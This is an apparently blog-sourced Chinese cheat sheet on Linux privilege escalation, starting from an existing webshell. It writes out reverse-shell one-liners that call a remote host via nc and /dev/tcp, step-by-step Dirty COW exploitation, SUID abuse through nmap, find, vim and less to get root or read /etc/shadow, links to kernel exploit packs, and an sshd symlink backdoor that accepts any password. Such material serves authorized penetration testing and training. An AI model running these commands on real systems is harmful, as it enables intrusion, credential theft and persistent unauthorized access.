Linux提权
linux发行版本
CentOS
- 运维人员,系统简单,适合服务器
Redhat
- 运维
Ubuntu
- 开发人员
Kali
- 安全人员,集成安全测试环境和工-具
Linux内核版本
Linux内核版本号由3组数字组成,第一组为内核主版本号,第二组奇数为开发版,偶数为稳定版,第三组数字是该版本错误修改升级的次数
稳定版
发行版
查看发行版本
cat /etc/issue
cat /etc/*-release
- 查看内核版本
uname -a
root@kali:~# uname -a
Linux kali 4.9.0-kali3-amd64 #1 SMP Debian 4.9.18-1kali1 (2017-04-04) x86_64 GNU/Linux
搜索系统中的漏洞kali
- searchsploit linux Debian 4
- searchsploit linux CentOS
反弹shell
首先获得webshell
netcat反弹
nc -lvvp 9999 -t -e /bin/bash
nc 192.168.1.1 9999
bash反弹
bash -i >& /dev/tcp/192.168.1.1/5555 0>&1
-
#本地监听
nc -l -p 5555
python获取一句话标准shell
-
python -c “import pty;pty.spawn(’/bin/bash’)”
脏牛提权
在有webshell的前提下
1、上传脏牛exploit脚本文件dirty.c,根据权限一般只能上传到 /tmp目录下
2、编译gcc -pthread dirty.c -o dirty -lcrypt 得到可执行文件 dirty
3、运行可执行文件 ./dirty 设置提权账号firefalt的密码 test123(自定义)
4、用提权账号 firefalt 密码 test123 登陆主机 达成目标(设置后门等),
恢复root账号密码 /tmp/passwd.bak 恢复为 /etc/passwd (mv /tmp/passwd.bak /etc/passwd)
SUID提权
SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性
首先在本地查找符合条件的文件,有三个命令
- find / -user root -perm -4000 -print 2>/dev/null
- find / -perm -u=s -type f 2>/dev/null
- find / -user root -perm -4000 -exec ls -ldb {} ;
常用的可用于suid提权的文件
nmap --interactive
执行命令后会返回一个shell
nmap> !sh
sh-3.2# whoami
root
- Metasploit中有一个模块可以通过SUID Nmap进行提权
exploit/unix/local/setuid_nmap
find
如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行
touch test
find test -exec whoami ;
- Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件
vim /etc/shadow
-
以下命令将以root身份打开一个bash shell
bash -p
bash-3.2# id
uid=500(cow) gid=500(cow) euid=0(root) groups=500(cow)- 程序less也可以执行提权后的shell
less /etc/passwd
!/bin/sh
- 程序less也可以执行提权后的shell
-
已对外公开 exp 注:
https://github.com/SecWiki/linux-kernel-exploits
https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/
https://github.com/xairy/kernel-exploits
linux常用命令
(1):内核,操作系统和设备信息
- uname -a 打印所有可用的系统信息
- uname -r 内核版本
- uname -n 系统主机名。
- uname -m 查看系统内核架构(64位/32位)
- hostname 系统主机名
- cat /proc/version 内核信息
- cat /etc/*-release 分发信息
- cat /etc/issue 分发信息
- cat /proc/cpuinfo CPU信息
(2):用户和群组
- cat /etc/passwd 列出系统上的所有用户
- cat /etc/shadow 列出系统上的所有用户密码
- cat /etc/group 列出系统上的所有组
- grep -v -E “^#” /etc/passwd | awk -F: ‘$3 == 0 { print $1}’ 列出所有的超级用户账户
- whoami 查看当前用户
- w 谁目前已登录,他们正在做什么
- last 最后登录用户的列表
- lastlog 所有用户上次登录的信息
- lastlog –u %username% 有关指定用户上次登录的信息
- lastlog |grep -v “Never” 以前登录用户的完
(3)用户和权限信息:
- whoami 当前用户名
- id 当前用户信息
- cat /etc/sudoers 谁被允许以root身份执行
- sudo -l 当前用户可以以root身份执行操作
(4)环境信息
- env 显示环境变量
- set 现实环境变量
- echo %PATH 路径信息
- history 显示当前用户的历史命令记录
- pwd 输出工作目录
- cat /etc/profile 显示默认系统变量
- cat /etc/shells 显示可用的shell
(5)linux 一句话添加账号
-
(1)chpasswd 方法
-
(2)useradd -p 方法
-
(3)echo -e 方法
(6)其它
- Linux运维最常用150个命令](https://www.jianshu.com/p/979d8f5e5e65)
- vim必知必会的快捷键
linux后门
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
经典后门。直接对sshd建立软连接,之后用任意密码登录即可

1670

被折叠的 条评论
为什么被折叠?



